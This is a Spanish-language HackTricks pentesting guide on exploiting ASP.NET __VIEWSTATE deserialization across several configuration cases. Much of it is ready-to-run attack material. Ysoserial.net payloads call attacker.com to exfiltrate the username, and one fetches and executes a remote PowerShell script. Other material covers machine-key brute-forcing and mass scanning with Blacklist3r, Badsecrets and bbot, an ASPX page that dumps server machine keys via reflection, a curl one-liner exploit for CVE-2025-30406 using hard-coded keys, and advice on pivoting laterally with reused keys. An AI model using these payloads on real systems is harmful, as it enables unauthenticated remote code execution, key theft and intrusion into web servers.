Explotando __VIEWSTATE sin conocer los secretos

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

¿Qué es ViewState

ViewState sirve como el mecanismo predeterminado en ASP.NET para mantener los datos de la página y de los controles entre páginas web. Durante el renderizado del HTML de una página, el estado actual de la página y los valores que deben preservarse durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan luego en campos ViewState ocultos.

La información de ViewState puede caracterizarse por las siguientes propiedades o sus combinaciones:

  • Base64:
  • Este formato se utiliza cuando ambos atributos EnableViewStateMac y ViewStateEncryptionMode están establecidos en false.
  • Base64 + MAC (Message Authentication Code) Enabled:
  • La activación de MAC se consigue estableciendo el atributo EnableViewStateMac en true. Esto proporciona verificación de integridad para los datos de ViewState.
  • Base64 + Encrypted:
  • La encriptación se aplica cuando el atributo ViewStateEncryptionMode está establecido en true, asegurando la confidencialidad de los datos de ViewState.

Casos de prueba

La imagen es una tabla que detalla diferentes configuraciones de ViewState en ASP.NET según la versión del framework .NET. Aquí hay un resumen del contenido:

  1. Para cualquier versión de .NET, cuando tanto MAC como Encriptación están desactivados, no se requiere un MachineKey, por lo que no existe un método aplicable para identificarlo.
  2. Para versiones inferiores a 4.5, si MAC está activado pero Encriptación no lo está, se requiere un MachineKey. El método para identificar el MachineKey se denomina “Blacklist3r.”
  3. Para versiones inferiores a 4.5, independientemente de si MAC está activado o desactivado, si la Encriptación está activada se necesita un MachineKey. Identificar el MachineKey es una tarea para “Blacklist3r - Future Development.”
  4. Para versiones 4.5 y superiores, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey puede identificarse usando “Blacklist3r.”

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

También es posible desactivar completamente el ViewStateMAC estableciendo la clave del registro AspNetEnforceViewStateMac a cero en:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identificando atributos de ViewState

Puedes intentar identificar si ViewState está protegido por MAC capturando una petición que contenga este parámetro con BurpSuite. Si MAC no se usa para proteger el parámetro, puedes explotarlo usando YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Los desarrolladores pueden eliminar ViewState para que no forme parte de una HTTP Request (el usuario no recibirá esta cookie).
Se podría asumir que si ViewState no está presente, su implementación está segura frente a cualquier vulnerabilidad potencial derivada de la deserialización de ViewState.
Sin embargo, ese no es el caso. Si añadimos el parámetro ViewState al cuerpo de la petición y enviamos nuestro payload serializado creado con ysoserial, todavía podremos lograr code execution como se muestra en Case 1.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

Para habilitar ViewState MAC en una página específica necesitamos hacer los siguientes cambios en un archivo aspx específico:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

También podemos hacerlo para la aplicación en su conjunto configurándolo en el archivo web.config como se muestra a continuación:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Dado que el parámetro está protegido por MAC, para ejecutar con éxito el attack esta vez primero necesitamos la clave utilizada.

Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para .NET viewstates, existe una utilidad “python blacklist3r”, que es la forma más rápida de usarla.

Se le puede suministrar directamente el viewstate y el generator:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

O bien, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede usar el módulo badsecrets BBOT:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

Si tienes suerte y se encuentra la key, puedes proceder con el attack usando YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

En los casos en que el parámetro _VIEWSTATEGENERATOR no es enviado por el servidor, no necesitas proporcionar el parámetro --generator sino los siguientes:

--apppath="/" --path="/hello.aspx"

Explotando valores reciclados de <machineKey> a escala

Ink Dragon (2025) demostró lo peligroso que es cuando los administradores copian los bloques de ejemplo de <machineKey> publicados en Microsoft docs, respuestas de StackOverflow o blogs de proveedores. Una vez que un solo objetivo leaks o reutiliza esas claves en la granja, cualquier otra página ASP.NET que confíe en ViewState puede ser secuestrada de forma remota sin necesidad de ninguna vulnerabilidad adicional.

  1. Construye una lista de palabras candidatas con los pares validationKey/decryptionKey leaked (p.ej. raspando repos públicos, posts del blog de Microsoft, o claves recuperadas de un host en la granja) y pásala a Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld

La herramienta firma repetidamente un blob benigno __VIEWSTATE con cada clave candidata hasta que el servidor acepta el MAC, demostrando que la clave es válida. 2. Forja el ViewState malicioso una vez que el par de claves sea conocido. Si el cifrado está deshabilitado solo necesitas el validationKey. Si el cifrado está habilitado, incluye la decryptionKey correspondiente para que el payload sobreviva la ruta decrypt → deserialize:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>

Los operadores frecuentemente incrustan launchers residentes en disco (p.ej. PrintNotifyPotato, ShadowPad loaders, etc.) directamente en el payload porque se ejecuta como el IIS worker (w3wp.exe). 3. Pivotear lateralmente reciclando el mismo <machineKey> entre nodos hermanos de SharePoint/IIS. Una vez que un servidor está comprometido puedes reproducir la clave para impactar a cada otro servidor que nunca rotó su configuración.

Caso de prueba: 3 – .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true

En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el valor probablemente esté encriptado y necesitarás la Machine Key para cifrar tu payload y explotar la vulnerabilidad.

En este caso el Blacklist3r módulo está en desarrollo…

Prior to .NET 4.5, ASP.NET can accept an unencrypted ___VIEWSTATE_parameter from the users even if ViewStateEncryptionMode has been set to Always. ASP.NET only checks the presence of the __VIEWSTATEENCRYPTED parameter in the request. If one removes this parameter, and sends the unencrypted payload, it will still be processed.

Por lo tanto, si los atacantes encuentran una forma de obtener la Machinekey vía otra vuln como file traversal, el comando de YSoSerial.Net usado en el Caso 2, puede usarse para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.

  • Remove __VIEWSTATEENCRYPTED parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail.

Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto cuando ambos atributos son false

Podemos forzar el uso del framework ASP.NET especificando el parámetro siguiente dentro del archivo web.config como se muestra a continuación.

<httpRuntime targetFramework="4.5" />

Alternativamente, esto se puede hacer especificando la siguiente opción dentro del parámetro machineKey del archivo web.config.

compatibilityMode="Framework45"

Como en el ejemplo anterior, el valor está cifrado. Por lo tanto, para enviar un payload válido, el atacante necesita la clave.

Puedes intentar usar Blacklist3r(AspDotNetWrapper.exe) para encontrar la clave utilizada:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Para una descripción más detallada de IISDirPath y TargetPagePath, consulte aquí

O bien, con Badsecrets (con un valor generator):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Una vez que se identifica una Machine key válida, el siguiente paso es generar un serialized payload usando YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Si tienes el valor de __VIEWSTATEGENERATOR puedes intentar usar el parámetro --generator con ese valor y omitir los parámetros --path y --apppath

Una explotación exitosa de la ViewState deserialization vulnerability resultará en una solicitud out-of-band a un servidor controlado por el atacante, que incluye el username. Este tipo de exploit se demuestra en un proof of concept (PoC) titulado “Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET”. Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar el PoC of Successful Exploitation.

Test Case 6 – ViewStateUserKeys is being used

La propiedad ViewStateUserKey puede usarse para defender contra un CSRF attack. Si dicha key ha sido definida en la aplicación y intentamos generar el ViewState payload con los métodos discutidos hasta ahora, el payload no será procesado por la aplicación.
Necesitas usar un parámetro más para crear correctamente el payload:

--viewstateuserkey="randomstringdefinedintheserver"

Resultado de una Explotación Exitosa

Para todos los casos de prueba, si el payload ViewState YSoSerial.Net funciona correctamente entonces el servidor responde con “500 Internal server error” con contenido de respuesta “The state information is invalid for this page and might be corrupted” y obtenemos la OOB reques.

Consulta más información aquí

Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)

Los atacantes que sean capaces de upload or execute arbitrary ASPX code inside the target web root pueden recuperar directamente las claves secretas que protegen __VIEWSTATE, en lugar de bruteforcing.

Un payload mínimo que leaks las claves aprovecha clases internas de .NET mediante reflection:

<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Al solicitar la página se muestran los ValidationKey, DecryptionKey, el algoritmo de cifrado y el modo de compatibilidad de ASP.NET. Estos valores ahora pueden introducirse directamente en ysoserial.net para crear un gadget __VIEWSTATE válido y firmado:

ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Esta key-exfiltration primitive fue explotada masivamente contra servidores SharePoint on-prem en 2025 (“ToolShell” – CVE-2025-53770/53771), pero es aplicable a cualquier aplicación ASP.NET donde un atacante pueda ejecutar código del lado del servidor.

Escenarios reales de explotación 2024-2025 y claves de máquina codificadas

Oleada de Microsoft “publicly disclosed machine keys” (dic 2024 – feb 2025)

Microsoft Threat Intelligence informó de la explotación masiva de sitios ASP.NET donde el machineKey había sido leaked previamente en fuentes públicas (GitHub gists, blog posts, paste sites). Los adversarios enumeraron estas claves y generaron gadgets válidos __VIEWSTATE con la versión más reciente de ysoserial.net 1.41 y las flags --minify y --islegacy para evadir los límites de longitud del WAF:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Los objetivos que siguen reutilizando las mismas claves estáticas entre farms permanecen vulnerables indefinidamente; una vez que migren a valores AutoGenerate la spray technique muere, así que prioriza los legacy deployments que aún exponen material hard-coded.

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys

Kudelski Security descubrió que múltiples versiones de CentreStack / Triofox se distribuyeron con valores idénticos de machineKey, permitiendo la ejecución remota de código sin autenticación mediante ViewState forgery (CVE-2025-30406).

One-liner exploit:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Corregido en CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – actualice o reemplace las claves inmediatamente.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks